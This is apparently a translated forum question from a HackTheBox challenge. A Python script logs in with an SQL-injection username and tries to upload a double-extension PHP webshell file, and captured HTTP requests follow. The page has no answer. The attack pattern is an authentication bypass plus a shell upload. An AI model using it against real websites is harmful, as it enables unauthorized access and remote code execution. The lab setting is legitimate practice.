使用请求上传文件

问题描述

我正在 hacktheBox 上进行黑客挑战，并尝试将图片上传到网页。

首先我使用 sql 注入登录，然后我尝试上传图片，但上传失败。

代码：

#!/bin/python3

import requests

url = "http://hidden/"

headers = { "Content-type": "application/x-www-form-urlencoded"  }

data = {"username": "admin'-- -","password": ""}

proxies = { "http": "http://127.0.0.1:8080/" }

s = requests.Session() 
response = s.post(url+"login.PHP",data=data,proxies=proxies)
print("Logging in...")
print(response.status_code)

payload = "shell.PHP.jpg"
files = {"image": open(payload,"rb"),"Content-Type": "image/jpeg"}

headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Referer": "http://hidden/upload.PHP","Origin": "http://hidden","User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0","Accept-Language": "en-US,en;q=0.5","Upgrade-Insecure-Requests": "1" }

print("uploading file")
response = s.post(url+"upload.PHP",files=files,headers=headers,proxies=proxies)
print(response.status_code)

以下是手动上传：

POST /upload.PHP HTTP/1.1
Host: hidden
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Content-Type: multipart/form-data; boundary=---------------------------129246730034514562622540517407
Content-Length: 540471
Origin: http://hidden
Connection: close
Referer: http://hidden/upload.PHP
Cookie: PHPSESSID=41tqjv7i9fraprka710hsu5aku
Upgrade-Insecure-Requests: 1

-----------------------------129246730034514562622540517407
Content-disposition: form-data; name="image"; filename="shell06.PHP.jpg"
Content-Type: image/jpeg

运行代码时收到的请求：

POST /upload.PHP HTTP/1.1
Host: hidden
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip,deflate
Accept: text/html,*/*;q=0.8
Connection: close
Referer: http://hidden/upload.PHP
Origin: http://hidden
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=kb1dumfpckhrl6blrugk5quk7i
Content-Length: 540266
Content-Type: multipart/form-data; boundary=a661af8f8072064cd000a17d729feff6

--a661af8f8072064cd000a17d729feff6
Content-disposition: form-data; name="image"; filename="shell.PHP.jpg"

唯一不同的是：

1. 边界=...
2. “Content-disposition”下方的“Content-Type: image/jpeg”

有人看到我做错了什么吗？

解决方法

暂无找到可以解决该程序问题的有效方法，小编努力寻找整理中！

如果你已经找到好的解决方法，欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@）